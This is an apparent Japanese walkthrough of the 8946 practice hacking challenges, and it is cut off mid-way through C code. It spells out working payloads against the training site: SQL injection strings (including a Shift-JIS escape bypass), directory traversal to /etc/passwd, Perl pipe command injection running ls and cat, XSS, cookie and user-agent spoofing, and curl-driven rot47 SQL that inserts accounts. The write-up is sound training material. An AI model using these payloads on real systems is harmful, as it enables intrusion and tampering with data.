8946攻略

8946

ハッキングチャレンジサイト 8946に挑戦して
メモや答えを残していきます。
思いっきりネタバレを含みますので、自力で解きたい方はご注意ください。
正答率が高いリストを上から攻略しているので順番通りの掲載にはならないかと思います。
最終問題を除く全問題の解説完了しました。
鳳凰問題の話題はコチラ

問題リスト

Take01 | Take02 | Take03 | Take04 | Take05 |
Take06 | Take07 | Take08 | Take09 | Take10 |
Take11 | Take12 | Take13 | Take14 | Take15 |
Take16 | Take17 | Take18 | Take19 | Take20 |
Take21 | Take22 | Take23 | Take24 | Take25 |
Take26 | Take27 | Take28 | Take29 | Take30 |
Take31 | Take32 | Take33 | Take34 | Take35 |
Take36 | Take37 | Take38 | Take39 | Take40 |
Take41 | Take42 | Take43 | Take44 | Take45 |
Take46 | Take47 | Take48 | Take49 | Take50 |
Take51 | Take52 | Take53 | Take54 | Take55 |
Take56 | Take57 | Take58 | Take59 | Take60 |
Take61 | Take62 | Take63 | 鳳凰

Take01

こういった模擬ハックサイトの最初によく登場する問題です。
ページのソースを閲覧するとそのままパスワードが書いてあります。
流石にこれが実戦で役に立つことはあるわけないのですが
なぜかこの問題はいつも掲載されています(笑

Take02

Take01に毛が生えた問題です。
ソースコードを開くのはTake01と同じですが、パスワードが記述してある部分が
外部データに分離してあるだけです。

Take03

これもTake01の派生問題です。
ソースを閲覧するとIDとパスワードのメモが書いてありますが
各文字列がBase64で変換してあります。
Base64 は主にマルチバイト文字や画像、実行ファイル等バイナリデータをテキストとしてやり取りできるようにするために使われます。
ただ変換してあるだけなので特別なことをしなくても元の文字列に変換し直せます。
WEB上に変換してくれるサービスもありますが

#irb
> require 'base64'
> puts Base64.decode64 'YWRtaW5hZG1pbg0K'
> puts Base64.decode64 'cGFzc3dvcmRwYXNzd29yZA=='

RubyやPythonなどの対話シェルから簡単に調べられます。
また、大抵のLinuxディストリビューションにインストールされている
base64コマンドを使用する場合なら

$echo "YWRtaW5hZG1pbg0K" | base64 -d -

これでもOKです。

Take04

これもソースにメモがあるタイプ
ただし今度はMD5ハッシュ関数でIDとパスワードがハッシュ化してあります。
これはTake03のように変換して元に戻すことはできません。
というより何らかの計算で元に戻すということは基本的にできません。
ただ、MD5はメジャーなハッシュ関数なので、MD5 データベース などと検索すると
予めいろいろな文字列をMD5でハッシュ化したデータベースが見つかります。
 md5.rednoize.com

このあたりを使用して検索をかけるとすぐに元の文字列が見つかります。

Take05

正答率が高い順に挑戦していると初めて出会うちゃんとセキュリティしている
問題かもしれません(笑
ただし、難易度は高くありません。今までのようにソースを読んでも得られるものは
ないので空気を読めばまぁSQLインジェクションだろうなとは予想が付きます。
ID欄に

1' OR 1=1--

パスワードには適当な文字を入れると、SQLインジェクションが成功した体になって
ユーザーの全リストが表示されます。全リストといいつつIDが3つしかなく
そのうち2人が退会しているという過疎を通り越したなにかですが
残った1人 次郎さんのIDとパスワードを使用するとクリアになります。

Take06

挑戦しようとページをひらくとBasic認証のダイアログボックスがでてびっくりします。
まぁそれ自体がヒントということでもあります。
Basic認証では通常 .htpasswd というファイルを用意してそのなかにパスワードの
情報を記録しておきます。このようなファイルは通常WEBサーバ側の設定で外部からは
見れません。ただ、 .htpasswd というファイルを使わなければいけないわけではなく
適当な名前で設置できます。

この際、chmod -R などでざっくりとしたパーミッション設定などを行ってしまうと
勝手な名前で用意したBasic認証用のパスワードデータが普通に外部から閲覧可能に
成る場合がありますよ。 というお話です。

Take07

他の問題のような解答を入力するフォームがないことがヒントです。
となれば一度ログインしたあと再度ログインをしなくてすむような
手法で、ダサい方法(正答率から考えて)、つまりCookieが怪しいです。

FireBugなどでCookieを調べると
take7_login_status=0;
というあからさまなものが見えますので、これを = 1 に編集すれば
ログインできます。
以下のRubyコードでもクリアとなります

#!/usr/bin/ruby
require 'net/http'
uri=URI.parse('http://www.hackerschool.jp/hack/take7.php')

Net::HTTP.start(uri.host){|http|
    r=http.post(
        uri.path,
        'login=',
        {
            'Referer'=>uri.to_s,
            'Cookie'=>'take7_login_status=1;PHPSESSID=(ブラウザからセッションIDを持ってくる)',
        }
    )
    puts r.body
}

このコードはこのあと使い回しまくります(笑

Take08

これも実践的ではない感じの問題です。
ソースを除くと IDはそのまま書かれており パスワードには適当な計算式が書かれています。
これを計算するだけです。とはいえ手で計算するのも面倒なので

パスワード設定部分をそのままコピーして alertで表示するよう記述して
ブラウザに投げれば計算してくれます。

Take09

序盤の困惑問題の1つです。
ソースを覗くと、解答欄に数値を入れてボタンを押した瞬間

var answer = ( ( seconds * ( seconds - 1 ) ) / 2 )*(input_no % 2);

この計算式が実行されて answer = 990 なら正解 になります。
まず解答欄に入れた数値である input_no が 使われているのは
(input_no % 2) の部分だけです。 input_noが偶数だと
(input_no % 2) = 0 となってしまうので input_no は奇数でないと
だめです。 というか奇数ならどんな値でも
(input_no % 2) = 1 になるので入力する値は奇数なら適当で大丈夫です。

とすると

 990 = ( ( X * ( X - 1 ) ) / 2 )* 1;
 X^2 – X - 1980 = 0
 (X - 45)(X + 44)=0
 X = 45,-44

2次方程式をとく問題になります。
Xつまり画面に表示されている秒数は負の値はとれませんので
画面の表示が45になったときにタイミングよく適当な奇数を
送信すれば正解になります。
…セキュリティとなんの関係があるかは謎です。

Take10

javascriptなど怪しい点がないのでいろいろ入力してみると
これもSQL関連っぽいことはわかります。

Take05 で有効だった

1' OR 1=1--

入れるとエラーが文字化けています。
文字化けの原因は ブラウザの表示がUTF8 なのに対して
エラーメッセージが Shift-JIS でエンコードされているためです。

SQL Shift-JIS とくれば でしょう(笑

UTF8はマルチバイト文字でも2バイト目以降に '\' などの
ASCIIコードとかぶるようなコードが登場しないように調整されている
UTF-FSS (File System Safe) なのに対して
Shift-JISでは マルチバイト文字の途中に 1バイト単位では
ASCIIコードとかぶるような文字が存在し、そのせいで
エスケープ処理をちゃんとしようと思うと結構大変です。

ソ などは 2バイト目に '\' を意味する '0x5c' が登場するので

ソ' と入力すると
0x83 0x5c 0x27
と並びます これを ASCIIコードとしてみると
NBK \ '
となり、\ や ' が中途半端にエスケープされると
NBK \ \ ' '
こうなります
これは
0x83 0x5c 0x5c 0x27 0x27
このようなバイトの並びなので
ソ \' '
最終的に↑このように入力されたことになり結局 SQL構文を汚す
' が繰り出される形になります。

よって

ソ' OR 1=1#

こんな感じでSQLインジェクションが成立します。

Take11

URLの表示が他と違うので
ディレクトリトラバーサル
を知っているかという問題です。
最初 ../../../../etc/passwd と入れてもダメだったので
同一ファルダかなということで
passwd , password.txt
と3回目で正解

Take12

これは最初良くわからなかったのです なんどかいろいろな文字で試していると
URLに注目 というヒントがでました。
素直にURLを見れば svn を使ってコンテンツの管理をしていることがわかります。
となると Take06のように ずさんなパーミッションで svnで管理している
データが見れるのだろうな ということは予想が付きます。

ただ普段svnは使わないのでディレクトリ構造など詳しく把握しておらず
管理データがどうなっているのかGoogle先生に伺うと

Subversionワーキングコピーはバージョン管理されたすべてのファイル の原本を .svn/text-base にもっています
-Subversion最短攻略-

とありがたいお言葉を頂き
/.svn/text-base/(ファイル名).svn-base
を見ればいいということでした
/hack/svn/.svn/text-base/index.php.svn-base
を開くとログイン情報がそのまま書かれていました。

Take13

配布されたzipを展開すると
jpg 画像が1つ入っていますが、普通に開いても
開けません。
こういう場合は

  • 他のファイルがが jpg に偽装してある
  • jpgのヘッダなどがわざと破壊してある
    などが考えれますが、
    こういう時はまず、バイナリエディタの前に GIMP に
    突っ込むのが先決です。
    GIMPが壊れたデータでも読もうとしてくれますし
    拡張子に頼らずファイルの種類を識別します。

すると

やっぱり開けました。
複数レイヤーの画像で 一番上の赤いカバーを非表示にすると
問題が表示されます。
RDPは標準では ポート3389 を使用しますのでこれが正解です。

ちなみに PSDファイルだったそうです。

Take14

IDは分かっているのに、どんなIDを入力しても入力値をクリアするような
javascriptが記述されているので何をいれても無駄だよ という
微妙な設定の問題です。

ボタンを押すと fnFormSubmit() が呼び出され こいつが入力データを
削除してしまっているので この処理を飛ばして
form1.submit();
が実行できるだろうか? と問題を読みなおします。

となると
まず

"><script>function  fnFormSubmit(){form1.submit();}</script>

このような文字列をIDとして送信すると

ちょっと表示が崩れます。
このとき

HTMLはこのようになっています。
XSSで二箇所に fnFormSubmit() が登場しているので
後に書かれた(XSSで埋め込んだ)方が呼ばれるようになるので
表示が崩れたフォームに再度 8946 を入力すれば
無事突破です。

ちなみに、↑のようなややこしい手を踏まなくとも
Take07 のコードを流用して input_id=8946 を送信できればそれでよいので

    r=http.post(
        uri.path,
        'input_id=8946',
        {
            'Referer'=>uri.to_s,
            'Cookie'=>'PHPSESSID=(ブラウザからセッションIDを持ってくる)',
        }
    )

これでも普通にクリア判定です。

Take15

とりあえず何も考えずに ここからアクセスして、「答え」を入手して下さい
を開くと

こんな画面が表示されます。
答えを表示してくれたらしいですが全然見えませんでした。
修行不足です。

今度は問題のソースをみると

こうなっています。
ソースでは take15_answer.php を開いているのに
実際は take15_complete.php が開かれていますので
転送されたみたいです。

とすると

  • 通信解析系ソフトで take15_answer.php からの応答を確認する
    などが教科書的手法ですが

    これだけです。

Take16

ソースに答えが書いてある系です。
ただし入力した値が2進数に変換してあります。
Windows標準の電卓やExcelなど進数変換ができるツールに
投げるか、RubyやPythonなどを使えば終わりです。

$irb
> puts '10001011110010'.to_i(2)

Take17

多段階に分かれているので結構面倒です。
まず、ボタンを押した時に fnFormSubmit() が呼ばれますが、
ジャンプしようとすると fnFormSubmit() が2箇所にあることが
わかります。
この場合後ろに書かれ方が実行されますので フォーム直前にある方ではなく
フォームの下に書かれている方の fnFormSubmit()します。

すると
最初に入力する数値は2進数で 11010100001011
つまり take16と同じようにして 13579 を入れれば良いわけです。
上側のfnFormSubmit()を見て 100110100100 を使うと失敗します。

13579 が合っていたら 13579.html にジャンプするように
なっているので 開きます。…がもう一弾パスワードを求められます。
普通に開くとソースが見づらいのでアドレスバーに

view-source:http://www.hackerschool.jp/hack/13579.html

を入れるといいと思います。
Password : 987654321 は明らかにダミーで

var escape_str = parseInt( unescape("%36%33%32") );

が本命です。

こんな感じにお好みの方法で
unescape("%36%33%32") を読みだせば終わりです。

Take18

ソースを覗くと、ご丁寧に

/**********************************************************/
        var seikai = 'angou_value'; //暗号化した答え
/**********************************************************/

と書いてあります。肝心の暗号化部分は
a → z
b → y

というふうにアルファベットを並べ替えるというものです。
暗号の文字数が少ないので素直に手作業で変換すれば問題ないと思います。
RubyやPythonを使えばプログラムでの変換も難しくないかと思います。

Take19

take19.phpへのパラメータとして問題にあるようなものを渡したいのですが
用意されている form では不十分です。
例によって fidder や firebug でPOSTを堰きとめて
パラメータ

 GET:take19.php?id=1&id2=99
POST:input_id=abcd&ymd=2016/06/24&pass=juvgrunpxrem

を送ることができれば成功です
※日付は挑戦日に合わせて直してください。

passについてですが
str_rot13()を行って 'whitehackerz'になる文字列です。
rot13 は アルファベットを13個分ずらす 所謂シーザー暗号で
アルファベットは26文字なので rot13 を2回かけると元の
文字列に戻ります。 よって whitehackerz をオンラインの
rot13エンコードサービスに貼り付けて得られた文字列
'juvgrunpxrem'
を使用すればOKです。

例によって Take07 のコードを流用して

    r=http.post(
        uri = '/hack/take19.php?id=1&id2=99',
        'input_id=abcd&ymd=2016/06/24&pass=juvgrunpxrem',
        {
            'Referer'=>uri.to_s,
            'Cookie'=>'PHPSESSID=(ブラウザからセッションIDを持ってくる)',
        }
    )

これでクリア扱いになります。

Take20

一目見てURLが怪しいです。
index.pl?file=main.txt

  • perlを使っている
  • main.txt とやらを開いている

ディレクトリトラバーサル的なものも見つかりそうにないです。
take11でやったから

ここで 他で使われている php でなく perl が使われている理由を
考えますと、 OSコマンドインジェクション が候補に上がります。
perl でファイルを読み書きするときに使う open関数は
|(パイプ)付きで書かれた文字列をOSのコマンドとして実行
するようになっています。 これはローカルでperlをスクリプトとして
使う分には便利ですが、このような場合サーバーで攻撃者が
自由にコマンドを実行できることになってしまいます。

で、どんなコマンドを挿入するかですか

index.pl?file=|ls

まずこうすると

lsコマンドが実行され、それが perl に読み込まれて
perlが見ているディレクトリのファイル一覧が得られます。
main.txt の他に password.inc というまんまなデータが
あることがわかりました。

では

index.pl?file=|cat%20password.inc

これでパスワードが読み取れました。
ヒントの にゃ〜 は catコマンドを使えということですね。
(本当にコマンドインジェクションしてしまうと危ないので実行できるコマンドが制限されています)

Take21

表面上 ありがちな XSSなどの方法は使えません。

curl --verbose http://www.hackerschool.jp/hack/take21.php 1> /dev/null

curl --verbose で通信の様子を眺めるてみると
http header 内部に PASSWORD(take#21) が書いてありました。

どんな想定の問題かは謎です。

Take22


3文字までしか入力できないのは HTML内で maxlength=3 が記述されているため
です。よって

  • Firebug でmaxlengthの値を書き換える
  • FidderなどでPOSTするデータを書き換える
  • Take07で作ったコードを改造して手動(?)でパスワードを送る
    などなど方法はなんでもいいので教えてもらったパスワードが送れれば成功です。

Take23

Take01とTake23の正答率がこんなに違うのはどういうことなんでしょう…?
ブラウザ上Ctrl + U キーでソースビューに入ればTake01と同じです。
得体のしれないブラウザを使っていて右クリック以外にソースビューに
入れないのなら curl や wget コマンドが使えます。

Take24

任意のSQLリクエストを要求する問題です。

架空のネットカフェのデータベースを操作します。
まず、Books のタブを開いて 好きな年数を選んでみると

books.php?sql=%24t{tr%25+Y+u%23~|+13%40%40<D1+(wt%23t+152E61+ml+`ca__bg___+p}s+152E61+kl+`cd`dfc___+~%23st%23+q*+1%3F2>61+p%24rj

sql= から始まるあやしすぎる文字列が送信されています。
よって攻撃対象と種類はすぐにはっきりします。
まずこの文字列はURLエンコードされており見づらいので
デコードすると

books.php?sql=$t{tr% Y u#~| 13@@<D1 (wt#t 152E61 ml `ca__bg___ p}s 152E61 kl `cd`dfc___ ~#st# q* 1?2>61 p$rj

こうなります、この時

  • 文字列中にスペースがある
  • 文字列がランダムすぎる
    ことからこの文字列には意味がなく、
    もとのSQL文を何らかの方法で暗号化したものであろうことはわかります。
    $t{tr% Y u#~| 13@@<D1 (wt#t 152E61 ml `ca__bg___ p}s 152E61 kl `cd`dfc___ ~#st# q* 1?2>61 p$r
    SELECT * FROM ??????? WHERE …

    と考えると間違っていないようです。

ではこの変換ルールですが、
SELECTの2文字 E が 両方 t と置き換わっているので
単一換字式暗号であることが推測されます。

このままではわかりにくいので
10進のASCIIコードにすると

   $t{tr% -> 36 116 123 116 114  37
-  SELECT -> 83  69  76  69  67  84
-----------------------------------
            -47  47  47  47  47 -47

なるほど、表示可能なASCII文字の範囲で
47文字分のシーザーが行われているようです。

26文字のアルファベットを13文字ずつシーザーする
rot13 という処理がありますが > 参照Take19
これは 表示可能なASCII文字で同じことをやる
rot47 という処理になります。

よって

$t{tr% Y u#~| 13@@<D1 (wt#t 152E61 ml `ca__bg___ p}s 152E61 kl `cd`dfc___ ~#st# q* 1?2>61 p$r
↓
ROT47
↓
SELECT * FROM `books` WHERE `date` >= 1420038000 AND `date` <= 1451574000 ORDER BY `name` ASC

となり
これで完全に意味がわかりました。

実行したいSQL文を rot47 処理し、さらにURLエンコードすれば
任意のSQL命令が実行できます。

以降

$curl -e http://whitecafe.moe.hm/books.php http://whitecafe.moe.hm/books.php?sql=(処理済みSQL文)

でどんどん命令を出せます。
> out.html
などを使って一旦 htmlファイルにしてブラウザで見たほうが扱いやすいと思います。

まず
SHOW tables;を実行すると
books,history,members,points,shame のテーブルが存在する
ことがわかります。
用事がありそうなのは members なので
SELECT * FROM members;
とすると

このように
ユーザーID ユーザー名 パスワードハッシュ
が記録されているようです。

パスワードハッシュは64文字なので
SHA-256だろうと推測が付きます。

が…ここで一旦詰んでしまいました。
推測にしたがってSHA-256をかけて生成した文字を使おうとして、
まず、各フィールドの名前がわからないので
SHOW FIELDS FROM members;
を実行して3つのフィールドが
member_id,user,passwordだとわかったので
INSERT INTO members (member_id,user,password) VALUES (空きID,'指定ユーザーID,'ハッシュ化指定パスワード');
を実行、無事に名簿に名前が乗ったのでログインを試みると
…無事失敗

どうやらパスワードのハッシュ方式が違うようです。
これには

  • ハッシュ時にパスワードの前後に特定の文字がつけられている(ex SHA256('8946'.$passwd);
  • ハッシュ関数が重ねがけされている
  • そもそもハッシュ関数がSHA256ではない

などなどいろいろ考えられますが、確かめようがありません。

しょうが無いのでカンニングを試みて挑戦者のヒントでもないかと探したところ
どうも
ハッシュ関数はSHA256 ですが 10000回の重ねがけ が行われているらしいです(分かるか!

Take24には公式で解説文章が販売されており
その文章のなかに書いてあるらしいです
また一応ヒントとして ID:8946 pass:8946 でのログインが可能になっているらしいです。(分かるかっ!

というわけで 無事に(?) パスワードのハッシュ化もできるようになったので
↑のSQLをもう一度実行して 今度は無事にログインできました。
最初のステップは成功です。

次のステップは書籍の貸出履歴の改ざんです。
怪しそうなテーブル history を調べたところ

history_id,member_id,book_id,date
のフィールドがあり
history_id は連番なので自動でカウントされるはずです。
よって
INSERT INTO history (member_id,book_id,date) VALUES ('(先ほど挿入したユーザーID)','(書籍ID)', UNIX_TIMESTAMP(NOW()));

と指定すれば良さそうです。
history に1冊挿入するたびに 10点ずつもらえるので
100冊の本のIDで↑の命令を行うことがノルマです。

ここで、100冊分の書籍IDを見繕う必要がありますが、
書籍IDは1からの連番というわけでもなさそうで
赤背景になっている貸出不能な書籍もあるようです。

よって、
booksのフィールドを調べると scrapという破棄済みかどうかのフラグがあるので
これを利用して

*SELECT FROM books where scrap=0 LIMIT 100;**

こんな命令を送れば スクラップされていない本のIDが100個ほど表示できます。
bookIDをテキストファイルに一覧として記録し
正規表現を用いて
INSERT INTO history (member_id,book_id,date) VALUES ('(先ほど挿入したユーザーID)','(書籍ID)', UNIX_TIMESTAMP(NOW()));
の形に整形、このテキストをオンラインの rot47 変換サービスになげて、
さらにオンラインのURLエンコードサイトに投げて…
得られたのが

このテキストです。
このテキストがあればあとは簡単で

#!/bin/sh

for l in $(cat $1)
do
 curl -e http://whitecafe.moe.hm/books.php http://whitecafe.moe.hm/books.php?sql=${l}
done

単純なシェルスクリプトを用意して

$sh ./take24.sh take24sql.txt

と実行すると、どんどん貸し出し履歴を挿入してくれます。
whitecafeのサイトを開いてログインしてみて
ポイントが 1000になっていれば成功です。

8946のページに戻ってチェックが通れば終了です!

パスワードハッシュの部分だけはちょっと意地悪にすぎるように思いましたが
他の部分はそこそこ楽しい問題です。

Take25

ひらがな 4文字 とかなり条件を狭めてあるので
総当りで調べろということです。

$arr = array(
    'あ','い','う','え','お',
    'か','き','く','け','こ',
    'さ','し','す','せ','そ',
    'た','ち','つ','て','と',
    'な','に','ぬ','ね','の',
    'は','ひ','ふ','へ','ほ',
    'ま','み','む','め','も',
    'や','ゆ','よ',
    'ら','り','る','れ','ろ',
    'わ','を','ん',
    'が','ぎ','ぐ','げ','ご',
    'ざ','じ','ず','ぜ','ぞ',
    'だ','ぢ','づ','で','ど',
    'ば','び','ぶ','べ','ぼ',
    'ぱ','ぴ','ぷ','ぺ','ぽ',
    'ぁ','ぃ','ぅ','ぇ','ぉ',
    'ゃ','ゅ','ょ',
    'っ'
);

$count = count($arr)-1;

for ($a=0;$a<=$count;$a++) {
    for ($b=0;$b<=$count;$b++) {
        for ($c=0;$c<=$count;$c++) {
            for ($d=0;$d<=$count;$d++) {
                if (md5($arr[$a].$arr[$b].$arr[$c].$arr[$d]) === ”ハッシュ値” {
                    exit($arr[$a].$arr[$b].$arr[$c].$arr[$d]);
                }
            }
        }
    }
}

こんなたぐいの全通り検索のコードを用意すれば終わりです。

回答するとき濁点等を考慮してなかったのですが運良く計算できました
これでも結構なループ数なので

オンライン実行の高速なマシン

に任せたほうが良いかと思います。

Take26

ソースを開くと
shotcut.js という シュートカットキーを追加できるライブラリと
難読化された javascript のコードがあります。
スクリプト言語は難読化されやすく javascript や ActionScriptで
書かれたゲームの解析には手を焼く場合があります。
javascriptの場合jsbeautifier で難読化を
ある程度まで解除できます。

今回の場合

Shift+Alt+jキーで何かを表示するショートカットを作っているようです。

早速入力してみると ロシア語で
 バレンタインデーの日付
を尋ねられます。

よって答えは 02/14 です。

Take27

判定部分のソースは javascriptなので読むことができます。

    function fnFormSubmit () {

        pass = seconds * (time + 1) * (document.form1.pass.value % 2);

        if (pass == 437 && time % 2 == 0) {

            document.form1.sec.value = seconds;

            document.form1.timer.value = time;

            alert('Congratulations!');

        } else {

            alert('残念!');

        }

まず seconds と (time+1) と (pass%2) の積が 437
なので 437の約数である 1,19,23,437 しか候補がありません。
とすると
seconds = 23
time+1 = 19
が候補です。
この時 time = 18 なので  (time%2)==0 も満たします。

ただ、数値がわかってもちょうど数字が揃うのはかなり
運が良くないといけませんので例によって
Firefoxのコンソールから javascriptを制御して数字を強引に
合わせます。

これで突破できました。

Take28

リバースエンジニアリングに関する問題です。
配布されているzipを解答すると takw28_sozai.exe という
実行ファイルが現れ、ここにあるパスワードを打つと
Take28をクリアするためのパスワードを教えてくれるように
なっています。

このプログラムは .NET を使っているので
Windowsで挑戦している場合は ildasm を使えば大丈夫です。
Linuxで挑戦する場合は .NET のオープンソース版である
Mono に含まれている ikdasm を使うことで逆コンパイル
できます。

これが ikdasm の結果です。
プログラムのパスワードが getTake28Password で
正解時の Take28用パスワードが geTX5bZt で良さそうです。

)

↑一応Wineを使って実際に入力してみました

Take29

細工画像に埋め込まれた
パスワードを見つける問題です。

この画像はバイナリエディタで眺めてもすぐにはパスワードが
ありそうな部分を見つけることができないので画像自体を
よく見てみる必要があります。

画像データは小さなピクセル、升目の集合体です。
png においては各ピクセルは4項目の
R G B α
の情報が記録されています
赤 緑 青 透明度
の情報です。

GIMPでピクセルを拡大してしらべると
同じピクセルが繰り返し並んでいるのがわかります。
各ピクセルの透明度に注目すると
左上から順に

80 97 115 115 119 111 114 100 32 105 115 32 122 116 101 87 83 82 52 55 115 107

という値を繰り返しとっているのがわかります。
この値を ASCIIコード
として読み直すと

'''
Password is zteWSR47sk
'''
となります。

Take30

…セキュリティ? な問題です。
確かに巨大な素数は暗号にとって重要ではありますが…。

8946番目はコンピュータにとっては序の口
人間にとっては途方もない 数なので
それっぽいプログラムを書けばいいかと思います。

Rubyなら primeモジュール
が使えるのでうってつけです。

$irb
> require 'prime'
> puts Prime.each.lazy.drop(8945).take(1).to_a[0]

Take31

細工画像系のようなので素直にバイナリエディタで確認します。

(`・ω・´)<さんだーばーすとふぁいやー!!!

Take32

問題ページを開くとランダムで簡単な計算問題が出題されます。
これを計算するだけですが、解答までに時間制限があり
普通にページを開いていたのでは絶対に解けません。
(なお、頑張って開いても解けない場合もあります)

WEBページの操作を自動化するため
以下のようなコードを作ります。

#!/usr/bin/ruby
require 'mechanize'

mech      = Mechanize.new
sid       = '(ブラウザからセッションIDをコピー)'
uri       = URI.parse('http://www.hackerschool.jp/hack/take32.php')

cookie = Mechanize::Cookie.new('PHPSESSID', uri.host, {:value=>sid,:domain=>uri.host, :path=>"/"}) 
mech.cookie_jar << cookie

mech.get(uri)
form=mech.page.form_with(:action=>'./take32.php')
form['input_id']=mech.page.at('div#question').text.split(' x ').map(&:to_i).reduce(:*)
form.submit

このコードは Ruby の mechanize を利用して
ページを取得 計算問題部分を取り出して計算させた跡
自動で送信する完全な自動化コードです。

通常これを実行すれば終わり…のはずですが
実行環境の回線が細く、また8946のサーバーの応答速度は
かなりまったりしているせいで、完全に自動化しても
1秒以上の時間がかかってしまいクリア判定になりません。

処理のボトルネックは明らかに通信待ちなのでどうすることも
できません。問題のメモ欄にも同じような声が多数あり
またサーバーが空いていそうなときに試してみるしかないようです。

Take33

EXIF情報を確認しよう というただそれだけの問題です。
画像を保存して

EXIFが見れるツールで確認するだけです。
かっこつけたい場合は

$sudo gem install exifr
$irb
> exif = EXIFR::JPEG.new('take33_sozai.jpg')
> puts "#{exif.model}"  …カメラのモデル
> puts "#{exif.gps.latitude}" …緯度
> puts "#{exif.gps.longitude}" …軽度

こんな感じで直接値が見れます。
緯度、軽度がわかったら
 GoogleMap
で場所を確認します。

どうやらオーストリアらしいので首都は ウィーン(wien) ですね。

Take34

第一次世界大戦でドイツ軍が使用していた
ADFGVX暗号
に関する問題です。

与えられた暗号文だけから元の換字表を手に入れるのは至難の業なので
適当な文字列を何度も入力し 2段階のヒントを得てください。

ヒント

  • 鍵は hackerschool
  • "WhitehackerzTo8946" -> "VDAXDGGGAFFVVAVAGAFXVXAAVDVXVFFVFXFG"
  • "abcdelmnos12345678" -> "FFGVGDGXFVVAAAAGDGXXVAVGXAFXXGDXAGVD"
  • 2つのサンプルはX,Y軸を入れ替えてある

以上です。

まず換字表を作らなければいけません 2つのヒント文字列から
もとの換字表を復元します。

まずは鍵文字の処理
重複文字を削除して、アルファベットの順に番号を振ります。

hackerschool
-> hackersol
-> 412538976

次に whitehackerzTo8946 の暗号文は 36文字
鍵文字の長さが9文字なので 4x9 の矩形型転値を行えます。

VDAXDGGGAFFVVAVAGAFXVXAAVDVXVFFVFXFG

↓
1 VDAX
2 DGGG
3 AFFV
4 VAVA
5 GAFX
6 VXAA
7 VDVX
8 VFFV
9 FXFG

↓
X hackersol
X 412538976
-------------
  VVDGAVFVV
  ADGAFFXDX
  VAGFFFFVA
  AXGXVVGXA

これで転値前文字列になりました。
あとは

  VV DG AV FV VA DG AF FX DX VA GF FF FV AA XG XV VG XA
-----------------------------------------------------------
   W  h  i  t  e  h  a  c  k  e  r  z  T  o  8  9  4  6

これが対応関係です。
同様にしてabcdelmnos12345678も

1 FFGV
2 GDGX
3 FVVA
4 AAAG
5 DGXX
6 VAVG
7 XAFX
8 XGDX
9 AGVD

↓
X 412538976
------------
  AFGDFXAXV
  AFDGVGGAA
  AGGXVDVFV
  GVXXAXDXG

↓
  AF GD FX AX VA FD GV GG AA AG GX VD VF VG VX XA XD XG
--------------------------------------------------------------
   a  b  c  d  e  l  m  n  o  s  1  2  3  4  5  6  7  8

対応が得られます。
これらから

   | A D F G V X
  --------------------
  A| o ? a s i d
  D| ? ? ? h ? k
  F| ? l z ? t c
  G| ? b r n m 1
  V| e 2 3 4 w 5
  X| 6 7 ? 8 9 ?

このような換字表が復元できました。
本番の暗号では この表のx,y座標が入れ替えてあるとヒントにあるので
本番向けの表は

   | A D F G V X
  --------------------
  A| o ? ? ? e 6
  D| ? ? l b 2 7
  F| a ? z r 3 ?
  G| s h ? n 4 8
  V| i ? t m w 9
  X| d k c 1 5 ?

こうなります。
これを用いて課題暗号文を解読すると

1 GGAGAX
2 VAGGVA
3 GAVAFA
4 GGFGVA
5 AFGAGA
6 GGGDFA
7 AGAGDA
8 DVFGAX
9 AAFAGD 

↓
X 412538976
-----------
  GGVAGDAAG
  GGAFAVAGG
  FAGGVFFAG
  GGGAAGAGD
  VAVGFAGDF
  AXAAAXDAA
↓
  GG VA GD AA GG GA FA VA GG FA GG VF FA GG GG AA GA GD VA VG FA GD FA XA AA XD AA
-------------------------------------------------------------------------------------
   n  i  h  o  n  s  a  i  n  a  n  t  a  n  n  o  s  h  i  m  a  h  a  d  o  k  o

以上から
与えられた暗号文は
 日本最南端の島はどこ
と復号できましたので。答えは 沖ノ鳥島となります。

Take35

携帯電話のかんたんログインに関する問題です。

携帯電話など入力が手間な環境ではどうにかして入力の手間を省こうとしてしまうものです。
携帯電話には契約者に固有のIDが必ず割り振られます。Docomoの端末なら
個体識別情報などと書かれているのがそうです。

このIDは携帯からは変更できないので簡易的なログイン検査に使いやすく
実際使われていました。
そして この番号はUserAgentに含められています。

つまり、UAの偽装と同じようにPCからであればIDをごまかすことができます。
攻撃対象サイトの 前回端末ログイン情報にかかれているのが その
個体識別番号なので これをUAに含めて Curl や wget てアクセスすれば
自動ログインが効きます。

その際 UAは ここを参考に偽装すればOKです。

$wget -q --post-data=mode=chk -U "DoCoMo/2.0 H523i(ser365079045783623;icchiroumaumau1994X0523)" -O - http://www.hackerschool.jp/hack/take35_mobile/

Take36

公共機関などへのウイルス被害などでも例がある
様々なデータが挿入されたPDFを解析に関する問題です。

まず、すなおに pdfを開くと
16進数と思しき数値がズラッとならんでおり、
これをASCIIコードとして読むと

Pleas enable javascript on your Adobe Reader.

となります。
ということはこのPDFには javascriptが埋め込まれているようです。

こういったPDFに埋め込まれたjavascriptなどによって
Acrobat Readerの脆弱性が攻撃をうけウイルスの実行を
許してしまったりするわけです。

こういうPDFの解析には PDF Stream Dumper
有効です。
ただ、このツールはWineでちゃんと動かないので不本意ながらWindowsを起動します。

セクションごとにデータを閲覧できます。
↓まずは怪しいデータを発見しました。

↓JavaScriptも埋まっていました。
ひとまずRunしてみると一部表示できていませんが
Password文字列を出力しているのがわかります。

JavaScriptは弱めの難読化処理が行われています。
こういったスクリプト言語は動きが柔軟なので
例えばメンバ関数にも文字列指定でアクセスする方法があります。

this.func();
this["func"]();

↑これはどちらもほぼ同じように動きます。

ということは
18行目

 b += vk['from'+'CharC'+'ode'](xEH ^ xE)
↓
 b += String.fromCharCode(xEH ^ 189)

といった具合に解釈すればいいわけです。
Acrobat Readerで動く javascript API は
あまり詳しくありませんが、
yLUに入っているデータを次々1文字ずつ切り出して( .charCodeAt(0))
そのデータと 189 の排他的論理和をとったものが パスワード文字列
になっているみたいです。

で yLUのデータですが、↑画像に怪しいデータがありましたので
多分それでしょう。

というわけで

#include <stdio.h>
#include <string.h>

int main()
{
    int code[] = { 0x92, 0x97, 0x9d, 0x85, 0x84, 0x89, 0x8b, 0x9d,
                   0xcd, 0xdc, 0xce, 0xce, 0xca, 0xd2, 0xcf, 0xd9, 
                   0x9d, 0xd4, 0xce, 0x9d, 0x9a, 0xef, 0xd8, 0xcd, 
                   0xed, 0xd6, 0xfa, 0x8f, 0xdb, 0x8b, 0x85, 0x9c,
                   0x98, 0x84, 0xf7, 0xc7, 0x95, 0x9b, 0x99, 0x89,
                   0xff, 0x9a, 0x93, 0x9d, 0x97, 0x92, 0xb7, 0xdc,
